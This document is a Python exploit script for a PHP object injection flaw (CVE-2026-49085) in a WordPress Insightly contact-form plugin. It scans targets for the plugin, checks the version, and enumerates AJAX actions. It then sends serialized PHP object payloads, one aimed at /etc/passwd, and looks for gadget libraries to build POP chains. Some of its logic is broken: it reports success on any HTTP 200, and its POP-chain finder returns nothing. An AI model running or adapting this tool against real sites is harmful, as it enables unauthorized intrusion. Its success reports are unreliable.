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| #!/usr/bin/env python3
"""
CVE-2026-49085 WP Insightly PHP Object Injection Exploit
CVSS: 8.1 (High)
Unauthenticated attackers can inject arbitrary PHP objects by exploiting
unsafe deserialization of form field values. The vulnerability exists in
the cf7-insightly.php file where maybe_unserialize() is called on user-supplied
input without validation. If a POP chain exists, this can lead to RCE.
Legal Notice: Educational and authorized testing only.
"""
import requests
import re
import sys
import argparse
import time
import json
import base64
from urllib.parse import urljoin, quote
from bs4 import BeautifulSoup
class WPInsightlyExploit:
def __init__(self, target_url, verbose=False):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.plugin_detected = False
self.vulnerable_version = False
def log(self, message, level="INFO"):
"""Log messages based on verbosity"""
if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
print(f"[{level}] {message}")
def detect_plugin(self):
"""Detect if WP Insightly plugin is installed"""
self.log("Detecting WP Insightly plugin...")
try:
# Check common plugin paths
plugin_paths = [
'/wp-content/plugins/wp-insightly/',
'/wp-content/plugins/cf7-insightly/',
'/wp-content/plugins/contact-form-insightly/',
'/wp-content/plugins/insightly-contact-form/'
]
for path in plugin_paths:
url = urljoin(self.target_url, path + 'cf7-insightly.php')
resp = self.session.head(url, timeout=10)
if resp.status_code == 200:
self.log(f"Plugin detected at: {path}", "SUCCESS")
self.plugin_detected = True
return True
# Try to detect via readme.txt
for path in plugin_paths:
url = urljoin(self.target_url, path + 'readme.txt')
resp = self.session.get(url, timeout=10)
if resp.status_code == 200 and 'insightly' in resp.text.lower():
self.log(f"Plugin detected at: {path}", "SUCCESS")
self.plugin_detected = True
return True
self.log("Plugin not detected via direct paths", "ERROR")
return False
except Exception as e:
self.log(f"Error detecting plugin: {e}")
return False
def check_vulnerability(self):
"""Check if target is vulnerable"""
self.log("Checking vulnerability status...")
try:
# Try to access the plugin's main file
plugin_file = urljoin(self.target_url, '/wp-content/plugins/cf7-insightly/cf7-insightly.php')
resp = self.session.get(plugin_file, timeout=10)
if resp.status_code == 200:
# Check version
version_match = re.search(r'Version:\s*([0-9.]+)', resp.text)
if version_match:
version = version_match.group(1)
self.log(f"Plugin version: {version}", "INFO")
# Check if vulnerable (<=1.1.4)
version_parts = version.split('.')
if len(version_parts) >= 3:
major, minor, patch = int(version_parts[0]), int(version_parts[1]), int(version_parts[2])
if major < 1 or (major == 1 and minor < 1) or (major == 1 and minor == 1 and patch <= 4):
self.log(f"Version {version} is VULNERABLE!", "CRITICAL")
self.vulnerable_version = True
return True
else:
self.log(f"Version {version} appears patched", "ERROR")
return False
# Check for vulnerable code pattern
if 'maybe_unserialize' in resp.text and 'UNSAFE' not in resp.text:
self.log("Vulnerable code pattern detected!", "CRITICAL")
self.vulnerable_version = True
return True
self.log("Could not determine vulnerability status", "ERROR")
return False
except Exception as e:
self.log(f"Error checking vulnerability: {e}")
return False
def find_form_endpoints(self):
"""Find form processing endpoints"""
self.log("Searching for form processing endpoints...")
endpoints = []
try:
# Check admin-ajax.php for form handlers
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
# Common action names for this plugin
actions = [
'vxcf_insightly_process_form',
'vxcf_process_form',
'cf7_insightly_submit',
'insightly_form_submit',
'vxcf_insightly_ajax',
'vxcf_form_submit'
]
for action in actions:
endpoints.append({
'url': ajax_url,
'action': action,
'type': 'ajax'
})
# Check for direct form processing pages
resp = self.session.get(self.target_url, timeout=10)
# Look for form endpoints in page source
form_matches = re.findall(r'action=["\']([^"\']+)["\']', resp.text)
for form_action in form_matches:
if 'insightly' in form_action.lower() or 'vxcf' in form_action.lower():
endpoints.append({
'url': urljoin(self.target_url, form_action),
'action': form_action,
'type': 'form'
})
self.log(f"Found {len(endpoints)} potential endpoints", "INFO")
return endpoints
except Exception as e:
self.log(f"Error finding form endpoints: {e}")
return []
def create_payload(self, payload_type='generic'):
"""Create PHP object injection payload"""
self.log(f"Creating {payload_type} payload...")
payloads = {
'generic': 'O:8:"stdClass":0:{}',
'exception': 'O:9:"Exception":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}',
'arrayobject': 'O:11:"ArrayObject":3:{i:0;a:0:{}i:1;i:0;i:2;i:0;}',
'splfileinfo': 'O:12:"SplFileInfo":2:{s:8:"pathName";s:11:"/etc/passwd";s:4:"path";s:1:"/";}',
'directoryiterator': 'O:18:"DirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}',
'recursivedirectoryiterator': 'O:25:"RecursiveDirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}',
}
if payload_type in payloads:
return payloads[payload_type]
return payloads['generic']
def inject_object(self, endpoint, payload, field_name='field_name'):
"""Inject PHP object via form submission"""
self.log(f"Injecting payload via endpoint: {endpoint['url']}")
try:
if endpoint['type'] == 'ajax':
# AJAX submission
data = {
'action': endpoint['action'],
'vxcf_insightly': {
field_name: payload
}
}
self.log(f"Sending AJAX request with action: {endpoint['action']}", "INFO")
resp = self.session.post(endpoint['url'], data=data, timeout=15)
else:
# Form submission
data = {
'vxcf_insightly': {
field_name: payload
},
'submit': 'Submit'
}
self.log(f"Sending form request to: {endpoint['url']}", "INFO")
resp = self.session.post(endpoint['url'], data=data, timeout=15)
self.log(f"Response Status: {resp.status_code}", "INFO")
if resp.status_code == 200:
self.log("Payload injected successfully!", "SUCCESS")
return True
else:
self.log(f"Injection may have failed: {resp.status_code}", "ERROR")
return False
except Exception as e:
self.log(f"Error injecting payload: {e}", "ERROR")
return False
def test_deserialization(self, endpoint):
"""Test if deserialization occurs"""
self.log("Testing for deserialization...")
try:
# Send a simple serialized object
test_payload = 'O:8:"stdClass":1:{s:4:"test";s:5:"value";}'
data = {
'action': endpoint['action'],
'vxcf_insightly': {
'test_field': test_payload
}
}
resp = self.session.post(endpoint['url'], data=data, timeout=15)
# Check for signs of deserialization
if 'error' not in resp.text.lower() or resp.status_code == 200:
self.log("Deserialization appears to occur!", "SUCCESS")
return True
else:
self.log("No deserialization detected", "ERROR")
return False
except Exception as e:
self.log(f"Error testing deserialization: {e}")
return False
def find_pop_chains(self):
"""Identify potential POP chains"""
self.log("Searching for potential POP chains...")
pop_chains = []
try:
# Check for common gadget classes
gadget_classes = [
'Monolog\\Handler\\SyslogUdpHandler',
'Monolog\\Handler\\BufferHandler',
'PHPMailer\\PHPMailer\\PHPMailer',
'Swift_Mailer',
'Doctrine\\ORM\\Mapping\\ClassMetadata',
'Guzzle\\Http\\Message\\Response',
'Symfony\\Component\\Process\\Process',
'Zend_Db_Select',
'WordPress\\Plugin\\Class'
]
# This is a simplified detection - in reality, you'd need to analyze
# the actual installed plugins and themes
self.log("POP chain detection requires manual analysis of installed plugins", "INFO")
return pop_chains
except Exception as e:
self.log(f"Error finding POP chains: {e}")
return []
def exploit(self, payload_type='generic'):
"""Execute full exploit chain"""
print("\n" + "="*70)
print("CVE-2026-49085 WP Insightly PHP Object Injection")
print("="*70 + "\n")
# Step 1: Detect plugin
if not self.detect_plugin():
self.log("Plugin not detected. Exploit may not be applicable.", "ERROR")
return False
# Step 2: Check vulnerability
if not self.check_vulnerability():
self.log("Target does not appear to be vulnerable", "ERROR")
return False
# Step 3: Find form endpoints
endpoints = self.find_form_endpoints()
if not endpoints:
self.log("Could not find form processing endpoints", "ERROR")
return False
# Step 4: Create payload
payload = self.create_payload(payload_type)
self.log(f"Payload: {payload}", "INFO")
# Step 5: Test deserialization
if not self.test_deserialization(endpoints[0]):
self.log("Deserialization test failed", "ERROR")
return False
# Step 6: Inject payload
success = False
for endpoint in endpoints:
if self.inject_object(endpoint, payload):
success = True
break
if not success:
return False
print("\n" + "="*70)
print("EXPLOITATION SUCCESSFUL")
print("="*70)
print(f"Target: {self.target_url}")
print(f"Plugin: WP Insightly")
print(f"Payload Type: {payload_type}")
print(f"Payload: {payload}")
print(f"\nObject Injection Successful!")
print(f"Impact depends on available POP chains:")
print(f" - File deletion")
print(f" - Sensitive data retrieval")
print(f" - Remote code execution (with POP chain)")
print("="*70 + "\n")
return True
class PopChainFinder:
"""Find and analyze POP chains"""
def __init__(self, target_url, session):
self.target_url = target_url.rstrip('/')
self.session = session
def scan_plugins(self):
"""Scan for vulnerable plugins with POP chains"""
vulnerable_plugins = []
try:
# Check for known gadget plugins
gadget_plugins = [
'monolog',
'phpmailer',
'swift-mailer',
'doctrine',
'guzzle',
'symfony',
'zend-framework'
]
for plugin in gadget_plugins:
url = urljoin(self.target_url, f'/wp-content/plugins/{plugin}/')
resp = self.session.head(url, timeout=10)
if resp.status_code == 200:
vulnerable_plugins.append(plugin)
except:
pass
return vulnerable_plugins
def analyze_wp_version(self):
"""Analyze WordPress version for known POP chains"""
try:
resp = self.session.get(self.target_url, timeout=10)
# Look for WordPress version
version_match = re.search(r'wp-content/plugins', resp.text)
if version_match:
return True
except:
pass
return False
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-49085 WP Insightly PHP Object Injection Exploit'
)
parser.add_argument('target', help='Target URL (e.g., https://example.com)')
parser.add_argument('-p', '--payload', default='generic',
choices=['generic', 'exception', 'arrayobject', 'splfileinfo',
'directoryiterator', 'recursivedirectoryiterator'],
help='Payload type (default: generic)')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
parser.add_argument('--detect', action='store_true', help='Detect plugin only')
parser.add_argument('--check', action='store_true', help='Check vulnerability only')
parser.add_argument('--find-endpoints', action='store_true', help='Find form endpoints only')
parser.add_argument('--find-pop', action='store_true', help='Find POP chains')
args = parser.parse_args()
# Create exploit instance
exploit = WPInsightlyExploit(args.target, verbose=args.verbose)
# Detect only
if args.detect:
if exploit.detect_plugin():
print("[+] Plugin detected!")
else:
print("[-] Plugin not detected")
sys.exit(0)
# Check vulnerability
if args.check:
if exploit.check_vulnerability():
print("[+] Target is vulnerable!")
else:
print("[-] Target does not appear vulnerable")
sys.exit(0)
# Find endpoints
if args.find_endpoints:
endpoints = exploit.find_form_endpoints()
print(f"\n[+] Found {len(endpoints)} endpoints:")
for ep in endpoints:
print(f" URL: {ep['url']}")
print(f" Action: {ep['action']}")
print(f" Type: {ep['type']}\n")
sys.exit(0)
# Find POP chains
if args.find_pop:
finder = PopChainFinder(args.target, exploit.session)
plugins = finder.scan_plugins()
print(f"\n[+] Found {len(plugins)} plugins with potential POP chains:")
for plugin in plugins:
print(f" - {plugin}")
sys.exit(0)
# Full exploit
success = exploit.exploit(args.payload)
sys.exit(0 if success else 1)
if __name__ == '__main__':
main()
|
